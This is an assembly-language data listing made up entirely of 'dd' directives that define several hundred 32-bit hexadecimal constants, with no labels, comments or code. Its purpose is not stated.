dd 0AE790054h, 59DE3603h, 6000C049h, 41A5C7C9h, 0E03F7BB7h
dd 58BD011Ch, 0A3BBAF5Dh, 708C2D78h, 995BA601h, 2CAAC983h
dd 0F8481C29h, 0B22748C3h, 0A8706DA0h, 11003076h, 1A714C3Ch
dd 71771B56h, 0B1DC6B78h, 408FC004h, 1B4B0571h, 35D10063h
dd 0E47633C0h, 6600D945h, 0BF4956Fh, 943F9923h, 8108B5C4h
dd 80427868h, 57CC06A1h, 2D77E9h, 97550CAh, 8BDD7BF1h
dd 34960E01h, 38696FCBh, 9988082Ch, 6EF92D80h, 5402C05Fh
dd 6F388035h, 4E0D965h, 60940347h, 7E9E500h, 19C8E4AFh
dd 0C9A30795h, 15282E46h, 1C8802BDh, 0A084415Dh, 0E90C8822h
dd 3933F100h, 497CED44h, 0E3A2025Bh, 0B037D527h, 0DE5CF3E1h
dd 424598ECh, 1111C43h, 48A48262h, 247AB007h, 23883EA8h
dd 669C098h, 0DE73305Ah, 637EEB00h, 0C31C8875h, 50602443h
dd 41E82448h, 0DC0E44F8h, 0AA0286DFh, 9B8880D8h, 0A19C49E8h
dd 0E500C833h, 3F6069BDh, 910546A5h, 5CE6C5F3h, 7EE85009h
dd 7E9F1C13h, 9B24113Eh, 3028138Ch, 0DE404530h, 0FF019CE0h
dd 7CD0C307h, 78E083C6h, 0D84F488Eh, 18B55614h, 25DF9117h
dd 9F448200h, 0E86C3F22h, 4B06A210h, 3EBC4022h, 211D2D27h
dd 7115ED03h, 0B0DCA517h, 7B4460B2h, 11281CB6h, 0C04C7847h
dd 25202BC0h, 333DB8C2h, 0EA8F820Fh, 83F3C49Ah, 6938DCh
dd 79353129h, 2C56B2E5h, 0B342B700h, 3EE9DD95h, 237C189Ah
dd 7FA98994h, 534DB700h, 0AD0CC6FDh, 7D190510h, 4AF7515h
dd 0E2827490h, 8E250044h, 78B7DDEBh, 70A709CBh, 0C83462Fh
dd 968B239Dh, 0BD59291Fh, 0AAFBDE40h, 48E534FFh, 8E22308Ah
dd 95071700h, 0EC3E9287h, 9EB01DB4h, 8202417Dh, 0E5B52A76h
dd 3498D5DAh, 317AD0D4h, 263F4605h, 0B8083E8Ch, 9EE8427Bh
dd 6A65AB20h, 52900477h, 3A074CEh, 4F511F69h, 766C3020h
dd 5E00EE90h, 43064204h, 58165D4Fh, 3968209Ah, 54DA08ECh
dd 1942388Ch, 0AFE1013Ch, 0E837F741h, 682380h, 34C52D1h
dd 0EA5EDC56h, 793B62B7h, 2CC10E69h, 16942360h, 8C141F0Ch
dd 53D8D90Ch, 81413811h, 4DBDDD71h, 0F1EC102Ch, 0A79B2C28h
dd 1010A574h, 0CE013C97h, 6BA23D66h, 0CC339847h, 9F9B6809h
dd 0D86FA580h, 0E40ADF0Dh, 2065CC78h, 0AAC1049Fh, 40E7A56Ah
dd 88879FFDh, 48D552A8h, 0E44BA4BCh, 69144C20h, 48685F13h
dd 11B33AB0h, 0C9006637h, 88298D81h, 0EB30919Eh, 0D6EE98FCh
dd 0CEBC0080h, 0F728A80Eh, 0E97DE89Fh, 0DB4A91FCh, 0B01BA420h
dd 0E6F04844h, 0F00BDE19h, 7E2E1056h, 3BC00CEh, 334D1646h
dd 4073B068h, 0AC583750h, 0E1771F01h, 235B84F9h, 31804038h
dd 0A48FC0D5h, 0BF4E5E1Eh, 9355BD41h, 10DCE52Ah, 62170B34h
dd 5090B703h, 200E4308h, 0A036784Bh, 0B0721076h, 628100E6h
dd 0DE52402Dh, 0D6123A4Ch, 0F0C89B15h, 0DF3E019Fh, 0AED86D5Dh
dd 307061A4h, 0D70175A8h, 850B8A3Bh, 0C634E9Bh, 40681C1Ch
dd 0F757F9BAh, 0C81DB5D8h, 0A8C92108h, 9BFB8034h, 17B00639h
dd 0E04A99h, 50414511h, 5860B798h, 2730F579h, 0C0AA2685h
dd 0D08A146Dh, 0A863E500h, 0D2699A6Ch, 0C8A0782Eh, 889E6B08h
dd 27BE5516h, 169496D9h, 0C3966DEh, 56B15EE4h, 5850C04Eh
dd 20CD2784h, 0DEC50D00h, 0E07F5023h, 20665B0Eh, 0D76BA690h
dd 0BE246102h, 6AACB6B8h, 2ED098E4h, 0CDCA48DBh, 6680A23Ch
dd 0DE1918E0h, 0B9CE35A6h, 1C1191AAh, 60205A50h, 2F31E45h
dd 3F8B0BA8h, 40DF404Bh, 1710AF9Dh, 5A22D6BEh, 68C13068h
dd 92F42279h, 0FA2D3F00h, 16F972F8h, 886D2340h, 53387E38h
dd 22F84C48h, 5FBF893h, 52112CEAh, 9B8420D4h, 23251CA1h
dd 150CA247h, 386C2160h, 3A002891h, 12D3AF4Eh, 4CB0690Ch
dd 3EEDE091h, 0A89B2E01h, 0AF47D3C4h, 25AA8099h, 0F90CCA0Ch
dd 903F7308h, 10E0BADh, 4C647B27h, 0E5DCCCF3h, 0F8BC9509h
dd 0BA3D8008h, 23DCF8Bh, 4417EEFEh, 60E41B99h, 0CD0050A6h
dd 0D6F2D4Dh, 93C4BAh, 65D0313h, 2FC18FE1h, 7C408B13h
dd 3C8A1C16h, 2D009622h, 4D2A6E2Ch, 0E0FCE847h, 0EC382CCAh
dd 0D553969Ch, 0BEA43018h, 0A2D2B6Ch, 380C23CBh, 9C3140B9h
dd 565744D5h, 0C89DB429h, 52C16238h, 324C64D7h, 0C3219023h
dd 91F3BD80h, 0B800798Dh, 0DACE48D3h, 0B4B38AAAh, 8800A5ACh
dd 0A871C610h, 9EC17D02h, 0E25CB042h, 1764E49Ch, 13EBF8B6h
dd 6930C3E2h, 78A888A4h, 278458BCh, 4FC10896h, 9830D51Bh
dd 8E468841h, 71289A00h, 2FDA7696h, 0E6523945h, 10043F2Fh
dd 31340C9Dh, 5F7A47h, 0D8A4337Ah, 6C9F3B83h, 2838E724h
dd 228C4794h, 20235A50h, 0FA6EA814h, 601E6811h, 6A38690Ch
dd 4901E259h, 315F2B40h, 9EDC6345h, 238759Ah, 22F8609Fh
dd 0D84164C2h, 6860C2ABh, 2813EFCFh, 14CC50FAh, 413F5F07h
dd 0BE566944h, 9840439Eh
dd 0C8003872h, 0A35F74Eh, 0ECA49D0h, 417175FCh, 43691205h
dd 537F6850h, 9A8265B0h, 0CA810C91h, 71B57AA7h, 780EC38h
dd 2F24C613h, 0C3BD0E1Ch, 7218D1C0h, 74604BA8h, 0F7FD16DCh
dd 10108A79h, 0B7299ED8h, 0CF0F03DCh, 0C1E85B50h, 98090D12h
dd 4D9EA0Ch, 23576370h, 7200D41Ch, 1042FF2Ah, 48C396Bh
dd 1F080D0h, 3598F438h, 15FFF601h, 56785247h, 0F1CED050h
dd 0B11801C3h, 85822DDCh, 2192F015h, 2CB45C38h, 0E71AA1D4h
dd 144CCCA0h, 641568AFh, 0F3D0FB00h, 11B0DDBBh, 91193C61h
dd 30AE3BD8h, 0C0866114h, 0F4E47845h, 0AA0038E2h, 0A211FE12h
dd 0B5828C4h, 57913C5h, 0BF562C81h, 5ED6EC4Ch, 0D88205Ah
dd 0B0004662h, 2BBD77C2h, 5DA62Ch, 0B99EFCD0h, 72EBE9FBh
dd 0A0653F18h, 884917C8h, 0B1C74179h, 6DA066C0h, 56B40Ah
dd 5DC51349h, 0E3B5AED7h, 37FE7B4Ch, 342F846h, 0F5A8E148h
dd 9A5EAB10h, 0B88C354Ah, 0DF8D1223h, 320A1352h, 0CCE65870h
dd 5F31F81Dh, 3C8BC0Eh, 9A907D52h, 812065D3h, 0E6791754h
dd 0C9FFFC60h, 49EBB016h, 0AC220EAAh, 0C8D49126h, 0C1C39496h
dd 0C0F5FA99h, 3E92CE4Ah, 0E28EEF56h, 99364D7h, 2C657560h
dd 89B9AF09h, 0B70083B0h, 78B12939h, 0BABE00ECh, 0A7907CEEh
dd 0CAD03500h, 8A99F61Ah, 0C6F8B57Bh, 0BF3D0802h, 0D19FCC38h
dd 748D0EA0h, 37FBA780h, 0BA2C783Fh, 21E38439h, 6D7ED08Ch
dd 0F2130E97h, 5E8005BEh, 0DA529A6Eh, 0F0A4449Eh, 0BD1FD960h
dd 70C200F3h, 6324EA1h, 0EC9C2526h, 94FA014Bh, 39FD4D09h
dd 53C22DCh, 0A5E28B59h, 1704B28h, 9C002064h, 0F7C9702Bh
dd 0EC322E04h, 18C92ABh, 4043272Ah, 300262A8h, 628A591Ch
dd 885CD1C4h, 14403806h, 2293CBEh, 28088887h, 1CA41B69h
dd 410962D8h, 0C8158D74h, 0EC00490Ch, 38748BDBh, 40F7EB1h
dd 7A79E6E4h, 80E0AC12h, 95850210h, 535F04CEh, 0A20C4D42h
dd 29BB00F0h, 67C2AACDh, 1DDA0C49h, 616179ABh, 0B5BB8901h
dd 9A6D0D4Ch, 47C2BC78h, 24A001A4h, 5AE1EC3h, 79970F02h
dd 6AFD0BD4h, 0DA4CC018h, 72F2EB28h, 8AFF0194h, 709836CBh
dd 50854106h, 7946C42h, 0E956595Ah, 3FF059E9h, 0C37C27C4h
dd 55290163h, 5D58C11Ch, 63874868h, 0DA2BA03Fh, 8500E55Bh
dd 78D01714h, 25D6D333h, 3C906A8Ch, 9E1FF847h, 0E0C1B8E5h
dd 3E8ED8C1h, 7302F033h, 0A30E197Dh, 718C24C1h, 90282BFCh
dd 36BECA6h, 2B4F278h, 48169D70h, 0BC30A46Ah, 0BCDFD7Dh
dd 3335B787h, 16685C01h, 9C335Ch, 0DAE4A71Ch, 9C983F43h
dd 0A1DC40BCh, 0A9E0CF5Fh, 0F602A6E8h, 0F41A556Ch, 18C0688Fh
dd 0B0658860h, 10A7992Dh, 53AF44h, 0D4D2282Bh, 0B70D5621h
dd 3C58DA02h, 60015940h, 70D387h, 8B203D5Ah, 47389B54h
dd 0F812A27Ah, 5820D252h, 1CB0EA9Ah, 3CCF956h, 398F0726h
dd 4003484Ah, 0F0D43F29h, 90492E0Dh, 91A10AADh, 4394C056h
dd 3F87E140h, 9B0AAA60h, 5617014Eh, 3400C111h, 0D9D43EFAh
dd 46241774h, 1F7C434Dh, 8082AA62h, 8603F046h, 45C6B4F6h
dd 1F2FA77Fh, 0B72A2682h, 0F6B02051h, 7475A441h, 0BC25CB0Eh
dd 0DF5860DBh, 0DC350F7h, 84C25607h, 3C942051h, 466A4484h
dd 0A11B8B00h, 5D06699Dh, 484CE8B0h, 17D3BEEh, 1E1DBF50h
dd 709A6CA3h, 0C18B3DA4h, 0E0D8E732h, 2EB70002h, 1C3616BEh
dd 0F1E8E8B2h, 60511738h, 285560F8h, 0D8C753BDh, 0C6292700h
dd 585C29Eh, 0C481E825h, 97CC0098h, 95097D1Fh, 0DD018FD5h
dd 0A0732692h, 38F828FCh, 693A1748h, 0CA10136Fh, 2D260078h
dd 9207EAFh, 465124ABh, 9E9DE0E8h, 2CB4BA56h, 0BF32E144h
dd 0BDF1710h, 5B8B6FA8h, 8DABACB1h, 118ABAD8h, 0DCC80Ch
dd 0A8AB7D25h, 42346C63h, 0FE3C7124h, 5887DE1Ch, 98FB1C9Eh
dd 905C7Ch, 66C1FB47h, 3B1B910Ch, 100A5304h, 3A40221Ch
dd 9539E046h, 4D5AD875h, 83A5D833h, 2FE9B0C9h, 0BB6C008Ah
dd 6F159FBDh, 134A68B0h, 68C28h, 0C8792408h, 0E8017156h
dd 0D9273B05h, 0BCB42387h, 443000F8h, 74A34BC6h, 0D602470Bh
dd 50EABD3Dh, 824A6322h, 1D5C4881h, 0FC090725h, 0B897E9h
dd 4B26B3DAh, 0E0919890h, 0DE2CD780h, 0FB4864h, 809674D8h
dd 0E853D6A4h, 9B529E16h, 64A9FE0Fh, 30ADB556h, 0B068400Ah
dd 575C1DA7h, 0E9C4218Ah, 9C6C208Bh, 2D9EB084h, 54817B9Bh
dd 104D7821h, 0A8803E4h, 16E29572h, 0D0186BE8h, 0C1F3CA5h
dd 7C007F86h, 13F071F4h, 1A5202EBh, 1169896Ch, 4E583054h
dd 48EC9047h, 5C9F18C0h, 0DD9B0BD6h, 2411880Fh, 81029653h
dd 0E65A1769h, 0C6BC0180h, 919AD3AEh, 2C222BE0h, 5AC85EB4h
dd 0B996B873h, 1C5B7600h, 7F71159Ah, 0D0C8F97Dh, 9741708Eh
dd 45703007h, 0AEC43051h, 0CF00B8EEh, 0B50F2F46h, 184D45F5h
dd 48B0D1D7h, 9095AF99h, 1109A4h, 0D8BD6ECDh, 6B4DD6FFh
dd 0C5069C0Fh, 9F4C4074h, 4B4147Eh, 6DE8A839h, 0C0FCA83Fh
dd 0CED542Fh, 9D7500ECh, 0BFEA97B7h, 1F7DC259h, 2966CE00h
dd 0E6A0346Eh, 9B090BE3h, 8CE0F3B8h, 244E6269h, 0A80A427h
dd 327DF40h, 0A897F392h, 50989698h, 9501AA67h, 83DB6393h
dd 0A843206Ah, 2342ECD9h, 0A0D21D69h, 9B860E12h, 0EB3ED833h
dd 0CBBCEC0Bh, 0F96AC40h, 0DA93FFE7h, 11D6B0C0h, 4F60B74Eh
dd 135CE31h, 7F0079Bh, 4748B908h, 70F59080h, 0E309AEEBh
dd 1840AB98h, 1E57C640h, 897F5C1Ch, 0C090DF91h, 0C1886937h
dd 53310077h, 0F5A59430h, 0A200D014h, 7E203867h, 1C479B87h
dd 96691268h, 6F1C8845h, 888F2388h, 200022E3h, 9C86C30Eh
dd 0D51F51h, 5578832h, 0D7085D45h, 0DB900F50h, 245117FFh
dd 21F3D63Fh, 0DA1E5560h, 8B13F8E2h, 0B6D46CE0h, 78D0AB2Eh
dd 0CA01E09Ch, 228BB43Eh, 70005069h, 0D9B6BEAh, 0CF0E9EF0h
dd 635A76ADh, 0E589AEE6h, 70829895h, 444CC461h, 15E61C50h
dd 0E85456EAh, 0E84DF10h, 171ABF23h, 6CD40037h, 3C12B6D8h
dd 0A4583898h, 0D77413CCh, 17529400h, 9053F8DCh, 11C90F8h
dd 0FFD069E1h, 0D44DC4A6h, 0D9C6A93Eh, 44E82861h, 10990140h
dd 30B9FA80h, 1F83FE42h, 40DAFD36h, 814BCE15h, 4C9E37C1h
dd 0C5E5258Fh, 0F0C08D32h, 2890FA5Ah, 0E05CAFDDh, 589C041Bh
dd 0C20B9A67h, 40C69774h, 0FEAF5144h, 5F820938h, 0DC98F6F7h
dd 76008DB8h, 0C5D9646Bh, 0FE6ADC62h, 534D1D4Ch, 0C3E3C513h
dd 0B7548287h, 9940A051h, 0AC4478h, 9176503Fh, 1F895E41h
dd 3923480Bh, 6DF884D0h, 0E81B6944h, 52F0A76Ch, 63B548h
dd 0D787AE59h, 206268C9h, 0EE2ACE00h, 0A40AA3Ch, 70F905CFh
dd 0C7FCDA09h, 0A9921674h, 0D6D63CA1h, 0BCBAAD21h, 70BDCD70h
dd 20804EA1h, 87C9CD68h, 0FC6CFE00h, 0E3F64119h, 92280193h
dd 790E826Fh, 361DF0F0h, 9EA45D50h, 0E8F9A888h, 6851826Ah
dd 24701907h, 0FCCA0180h, 0A16705A6h, 913A60ACh, 1586BDECh
dd 0AE423408h, 0D16940B4h, 67007656h, 3E48DE51h, 1293AF57h
dd 0A25302F4h, 559DC0B8h, 12D6C7EAh, 2970AF4h, 9B21AF78h
dd 83C35720h, 0E1920017h, 0FB459C0Ch, 3E16F4DAh, 7410E4D6h
dd 2C084F98h, 3E8A449h, 232B3DE5h, 0C30049E6h, 0DEAB0A28h
dd 1D103963h, 0FCCBDBCAh, 9B220F75h, 40B6E29Dh, 0F56B12D4h
dd 1FF0FCD7h, 59DD27F4h, 3D590103h, 30104A6Fh, 58565774h
dd 0B3F3A600h, 0A2EED4F0h
dd 94ECB052h, 6C81402Ch, 0B902B5CAh, 52FB92F6h, 2D90C6D8h
dd 0DC105E15h, 7416E9C5h, 0D4A4D0D2h, 10408860h, 8A0AE502h
dd 0F9B36AC8h, 5D3C0040h, 287D0762h, 13871704h, 58C46EE2h
dd 0E418CC09h, 43DA3028h, 0D38511E8h, 9C3370E1h, 0E040784Fh
dd 7C3B868Ch, 3E910024h, 6AAA1448h, 1275FAB4h, 3A721506h
dd 515CB8h, 99BEF503h, 4110E04Eh, 1AD0FB07h, 54E0145h
dd 0F890F15Bh, 10E3EAA8h, 404A6AE5h, 150044E4h, 2137E5Ah
dd 86B5AFh, 0D30FE045h, 11494FD0h, 1F005F78h, 504E56A8h
dd 0F8EAFBBh, 0A68F9EDFh, 3E6DD2C0h, 0D776BD7Fh, 0A0224E25h
dd 0FDA6CC08h, 0FAF4020Ah, 10EEE74Dh, 721D3B40h, 4AA44B17h
dd 4797CE00h, 163B39DEh, 0C0DDDC91h, 600CAD54h, 6C235B07h
dd 1A106B34h, 7E2951h, 5CFCBF2Bh, 0A05FA467h, 455AA300h
dd 66BA6052h, 345D006Bh, 15640AD3h, 790E9A16h, 0FEDAAB4h
dd 5823E635h, 7E2C0051h, 4340D983h, 5B005C70h, 1BF20771h
dd 1F729D8h, 50C7387h, 0BB6B9D24h, 17F98059h, 277D314Ah
dd 426F0FBEh, 0F5802BFDh, 0F20AD212h, 3DD79200h, 98B44FE7h
dd 49D90684h, 795F2A4Bh, 92B260Eh, 0F4CE068Dh, 88C0030h
dd 0CD9B1A88h, 8506CFB3h, 35D5480Bh, 0E09A1C79h, 67C143FCh
dd 62A36042h, 0C75C911Dh, 1CDD59B0h, 3F973C9h, 0DB934483h
dd 0A898671Eh, 9B0191B4h, 488C31EBh, 94106B0Ah, 6163BE5Ch
dd 0C190D341h, 118C6EC5h, 0AC294776h, 0DF3AB500h, 5AA42F3h
dd 9E1A3F55h, 3F51C00h, 0D2EA308Fh, 31547537h, 0EB5B86A0h
dd 1577E9h, 0D1C0A85Ah, 2AB667CFh, 3888FD60h, 41E873h
dd 81EAEE19h, 5DC35979h, 1E399700h, 7C783532h, 0BD9306DBh
dd 111A95EAh, 3261048Dh, 108086B2h, 0C0CCA8E2h, 9D007118h
dd 53548CA1h, 388043EEh, 0D6813282h, 17E21CE5h, 792990CEh
dd 48456984h, 0D1AA420Eh, 88A2082Fh, 6A884803h, 0D35288E2h
dd 6800E191h, 83587743h, 0D600BFEBh, 6E79460Bh, 5BDE985h
dd 733FF9E0h, 5ADD8064h, 0A022F47h, 90A7B938h, 9B088053h
dd 1E488EAAh, 401BC842h, 0DBFF23AFh, 3D070280h, 98964C70h
dd 51C0C735h, 3BF25C5Eh, 2E807990h, 272BD0B0h, 0B2004841h
dd 9450F323h, 0B551A2h, 0B4CFBE36h, 0EF02CA7Eh, 9354C2Ch
dd 63566502h, 0FCB0A037h, 0E0BE584Bh, 397500C8h, 3CB61EC5h
dd 655C7418h, 5B330022h, 1F42439Fh, 0BD7A060Dh, 48690CC3h
dd 80AFF451h, 0B12AB48h, 0A759FEh, 1936E634h, 24F20422h
dd 0E85FBD00h, 0C98AE766h, 56B00B1h, 58E55DBAh, 83007C13h
dd 0A939DCF4h, 0C5B1C6Fh, 6EEC0FB2h, 91000E10h, 0D9DBC770h
dd 0F72BEAh, 71457AE9h, 0AF88BFCh, 163A200h, 0D5D2650h
dd 0C4EE12D8h, 0A99E007Ah, 0BA75AD24h, 2000F7E2h, 49A589ACh
dd 0C4F0A0h, 13341DC6h, 5AB231D4h, 16FE6900h, 70553D8Ah
dd 935D00B9h, 4EAFB777h, 0A8F04F3Bh, 80CF6E39h, 0AAFFB684h
dd 0DA20E8h, 94AB0424h, 363FDC67h, 0C956D900h, 0D5D41550h
dd 4469058Ch, 909666h, 0C3238994h, 0A2E64C16h, 5D6C7701h
dd 27E6D4F4h, 6A6630h, 0B4DAFE57h, 9723C69Ch, 4C647700h
dd 0DBEEFB60h, 0FC870E0Fh, 7C009256h, 79F225C8h, 0A2B9F800h
dd 2C980DABh, 7868140Fh, 0A800A03Bh, 3D0916F3h, 0F93E37AFh
dd 72EB00B4h, 2F211553h, 0F0CE03D7h, 7A74F617h, 4E6DFCE8h
dd 6C886801h, 0AB799DEAh, 118BCF4h, 0FEC846AFh, 0E0E1F4F2h
dd 0AA00E58Ch, 330C656Eh, 0DD69D0h, 95A4A737h, 0E89F7974h
dd 0A3C1D918h, 75AB10h, 0D09AD301h, 3612B0D7h, 3EF07B48h
dd 807448C6h, 4EA42793h, 9B75000Eh, 6480A219h, 8D002A08h
dd 1E4FC70Fh, 96555Bh, 2C623169h, 5F2630D8h, 91F1AF60h
dd 7B20FDF2h, 9FE78F4h, 300F9451h, 857F6C00h, 4100A56Bh
dd 1D0A14E3h, 0FF88C27h, 0AAF4FD16h, 0E91A1EA0h, 0B900F2B5h
dd 87C91B7h, 24555881h, 97405h, 0C3BC7183h, 0F00068F4h
dd 18B8E4EAh, 12A3A6AEh, 43700Ah, 244017B5h, 15001C32h
dd 9FDF96C2h, 0DBCDDEh, 0CAE431F7h, 9D62AEC8h, 541AB0C0h
dd 2411D419h, 2843E334h, 4AA041Ch, 92EA26h, 12274EA5h
dd 0AEC70050h, 2938B88Bh, 0CB00DA10h, 52B685A4h, 0C80633h
dd 6B7801D7h, 0ECF8775Ch, 5499E560h, 0BFEEC28Fh, 0D112F2D8h
dd 1C0078FEh, 2EE00F8Eh, 0C0630003h, 0DBEDFCC2h, 0A503804Ch
dd 0FB81F9BCh, 4E969935h, 42E34E8h, 56B15590h, 0C1C0AB91h
dd 1C14C9h, 8F92A5CFh, 6924EFB8h, 88EDF81Eh, 0ACF29780h
dd 0D7074h, 58C177EAh, 67A8DEF1h, 17A7EF0Fh, 245B6EB6h
dd 3DC06906h, 7A80FBE6h, 0F9ED489Ah, 922C8200h, 6A04620Dh
dd 3AE10607h, 8430AB08h, 25C6F2h, 7DC39D09h, 0EB05DBFh
dd 4D9C3500h, 9E026A24h, 2D5900D0h, 0D6319667h, 1600BB3Fh
dd 38B640D2h, 13CABE1Ah, 891C5Ah, 6CC76D81h, 5B00820Dh
dd 0BD735C04h, 1C05D409h, 0C0132F48h, 0FDDE7655h, 3C0010A6h
dd 0A2CB6A5h, 5E4A32h, 8B4765C6h, 662975D0h, 0D7FBE300h
dd 0FD4CC03Ah, 0EAB00CAh, 0F352AFB1h, 9803837Fh, 14BE7594h
dd 166BF101h, 0EE8E71E4h, 0AF9601D9h, 2532DE24h, 9235FCBCh
dd 80A03F3Ah, 48452991h, 0A4F1BEh, 24665BF6h, 3E1CC75h
dd 7A0008F4h, 6C2E9610h, 0ED02C1h, 6B586F3Eh, 45AABD4Fh
dd 9069FA07h, 4509142h, 9A8F033h, 9CC33E32h, 49554A00h
dd 0DC001C78h, 6002AD0Eh, 2C750CCEh, 73E2C6h, 5109F14Ah
dd 7101FCCDh, 258B36A0h, 9FECEFD2h, 45960041h, 7986436Fh
dd 500CE91h, 9D07B77Dh, 2B28FAh, 0FB4BF699h, 2FDC887Bh
dd 84016CEAh, 0AC2C24EAh, 0A8CFABB2h, 22A2B32h, 0AEBDA4AAh
dd 7940402Eh, 1300BEB0h, 931179CEh, 148FFB3Dh, 87ABC15h
dd 0BE178D00h, 6C911C87h, 0A60D7900h, 29A86DEh, 0AF774Bh
dd 5DD2C0Ch, 0C219A55Fh, 2DD9FF01h, 0D664B245h, 3DAE60h
dd 66A89CD3h, 90F74CF4h, 786A1600h, 0C60CA9BCh, 0A74A000Fh
dd 8AE26BBBh, 3100CF18h, 0C574E0D7h, 40159Ah, 664CF77Ah
dd 11455CFAh, 0A602D11Dh, 18C18700h, 0C25E9Bh, 0AA52F43Ch
dd 31FBEC54h, 4CE88A5Bh, 0E6507907h, 436F070h, 94FC7D3Dh
dd 24A32A00h, 0D5ED3FF2h, 0D6D4008Fh, 361B28CCh, 6A008923h
dd 62DB0554h, 0EAC93CEBh, 1207849h, 0F26882F6h, 40697A32h
dd 0D83E9B4h, 3089D07h, 0E1E163A0h, 908037CBh, 9167FAADh
dd 0AA001F58h, 1E03341h, 140EAF83h, 0A8955289h, 0FA68D000h
dd 8AFCAC6Ah, 787A1A74h, 95E02550h, 0CC8C4800h, 75CAAD0Bh
dd 24FE0581h, 80824721h, 0B88094E8h, 5D1F6100h, 0F419A67Ch
dd 3D2CFA3Fh, 0E6BE8AA5h, 0E96C1B80h, 0D683CF44h, 5B484312h
dd 0BDAC6440h, 70174128h, 0AFA90095h, 351B2ABBh, 9779069Fh
dd 0D24C100h, 0DC757B80h, 5B41245Ch, 0BAB001E4h, 0CD021C9Ch
dd 0DF93FC39h, 0A7AC32Eh, 9AA37830h, 0C6402CCDh, 43B40A32h
dd 81034080h, 0F7008059h, 0C74008F0h, 0C2063DCFh, 42AB864h
dd 2B0DDB60h, 96CC180Ah, 100B710h, 0B7D0142Fh, 0B443000Eh
dd 24222528h, 49000F86h, 4C26DED5h, 7291A3h, 1A7E5CC8h
dd 640BD716h, 5DC90C0h, 0FA8736h, 0C45EEF75h, 0EA86027Dh
dd 0E0183E26h, 9AAE1C00h, 1138ADh, 0BEF2AC69h, 1AE5A46Fh
dd 0BCC53305h, 3A801D0Eh, 20F4A011h, 6F009D75h, 0D65AD96Ch
dd 18C458B5h, 58844E5Eh
dd 8104A039h, 4AE00788h, 878679C0h, 9FA30551h, 0C01E497Eh
dd 9C4E5078h, 0EFE4C500h, 0CECD6CB2h, 3E14F0BAh, 5480D426h
dd 1521404Ah, 891D4D68h, 0EB49B25Eh, 7F30A091h, 12B0E287h
dd 4EA199h, 3625D78Ch, 0A7007703h, 7B3C2418h, 2B6181h
dd 0A9B987C7h, 0E770EBD8h, 0F15ABB00h, 0DA845327h, 0F9830049h
dd 0BC37C795h, 9F2432EAh, 833F149Dh, 4706C473h, 0DDA29830h
dd 0EEBD050Eh, 0C004C86Eh, 0A976C658h, 608B1324h, 7D179C00h
dd 98AF870h, 276E07D4h, 0C80B8800h, 9007705h, 0EC6CE59Ch
dd 98B8865Ah, 0E769004Ah, 49AA1753h, 0B00EFBDBh, 1A767DCh
dd 87CD6A26h, 7D50A6CCh, 2EE00E9h, 9273BE97h, 5E3D6281h
dd 0ED9B00C1h, 0A94C68E1h, 4E7932h, 91412D0Ah, 34C547E0h
dd 0DFE6B9F0h, 0F190D000h, 799B8894h, 731F00ECh, 9D8696AFh
dd 2100EA7Bh, 0A844A7Eh, 53A85Dh, 0E12FD9DDh, 54BA5057h
dd 4E5908A0h, 0F061BC00h, 5DD40ECFh, 6C9A1C7Dh, 0FA873A70h
dd 7084D544h, 0A70576D7h, 5437EB00h, 0F2D3E41Fh, 0F0230F78h
dd 401E73D8h, 95B94D56h, 0FC399C64h, 2D0F8079h, 0D4016D82h
dd 0D6CE00B3h, 7B0773Dh, 9B7A14C4h, 0F4FCF503h, 0CF476ACDh
dd 97764C80h, 0E9E47Ah, 3FECC17Eh, 0CCB0AF69h, 0FDB6D107h
dd 1ED0D9E8h, 0CFFEEFh, 4FCB585Fh, 0DBE1F40h, 2279DA0Fh
dd 567D600Ah, 13B0F0A9h, 213082h, 87611C47h, 58006654h
dd 1620C99h, 0C264EDEh, 21F5C6F7h, 0FF0C3320h, 0B86491FCh
dd 8B830005h, 9C41F319h, 0EA00FD88h, 2853DEE3h, 1F697B1Ch
dd 40BCF678h, 521A37D8h, 4B00EBF9h, 0B189E516h, 2E05BEh
dd 6A6FCEEDh, 7B727C69h, 32C70A01h, 0F613FCB6h, 0F2A4A0F3h
dd 15665C3Eh, 2480CB3Ah, 17930703h, 3430FB94h, 95F5F8C2h
dd 0A7DF3B8Ch, 0B59250E0h, 0ED203AB9h, 65787CADh, 3C4086h
dd 6B937070h, 0B1A1EB6Eh, 37E840D6h, 510F9F43h, 4E8992E0h
dd 804F2AACh, 702F3BDh, 0B7A85878h, 0EC84A0E8h, 60EB5DE7h
dd 86D11BFh, 0D73ED76h, 6009070h, 9C13887Eh, 0E1E7F25h
dd 4867F2F7h, 96EED060h, 3E008637h, 0D44F929Fh, 0EFC410h
dd 0A113241Ch, 0E56865ADh, 586CA218h, 9CCFA0h, 6A4C7F2Bh
dd 76A49AA5h, 0B94BB500h, 0ED9EE430h, 5A3F0004h, 7B85A655h
dd 8E07AD09h, 0AB10D38Ch, 0C84F6A70h, 2AFD0058h, 8ABE7290h
dd 630FF260h, 0C0DB6264h, 3447401Eh, 0CC4B283Bh, 0B0E41CB8h
dd 205BC04Eh, 0B6AAF4DFh, 4D724C00h, 0A906C122h, 783200BCh
dd 35AC5243h, 3E0A5144h, 8E0B526h, 0E2B72880h, 0F2AAB9h
dd 0ED013730h, 0C6CE972h, 0AE086703h, 0E817E4F0h, 1AC2904h
dd 503F1DD5h, 6071A248h, 0E5287C6Ch, 0C526A001h, 510043F1h
dd 0FB5C7462h, 0F30901Ch, 2506E3AFh, 66DC0FA0h, 311271A5h
dd 7C001F68h, 62E2F34Ch, 36981277h, 0CB1400D8h, 0E182EEBFh
dd 0FB003C75h, 0B6B1C926h, 0EDB304h, 3031E50Eh, 0E65A158Eh
dd 49FA4092h, 99BAC200h, 38FB2DB5h, 0EC7A0037h, 6FAE9414h
dd 72019EA1h, 0D67D51E3h, 41C2D2E5h, 0B4D43C20h, 6C5E007Fh
dd 0D7AF4052h, 701F6B3h, 9C7DEAFEh, 0E6C477F7h, 87600AFFh
dd 0BA9042h, 5161D370h, 0C4120FF9h, 2F142409h, 19007E52h
dd 690AF365h, 9FCE53h, 88685C5Fh, 47AC0D4Ah, 328E2800h
dd 6383A9C9h, 0BA390214h, 0CF0EBD75h, 0AE678848h, 0ECEDD800h
dd 44566026h, 0EBDA09ACh, 88F28EAh, 0E1DCB220h, 0BB051024h
dd 390721A4h, 8BCCC4Ah, 0C046320Fh, 3687B849h, 9898CAh
dd 9E7884F2h, 292A24EAh, 26736748h, 6C230D6h, 0E09C4B77h
dd 0E40DF71h, 0FF1D1393h, 1A21B3C0h, 54007C8Fh, 0BED9C452h
dd 7E024D5h, 0F6F7167Eh, 6F53C0E7h, 2000CFC1h, 218CEF91h
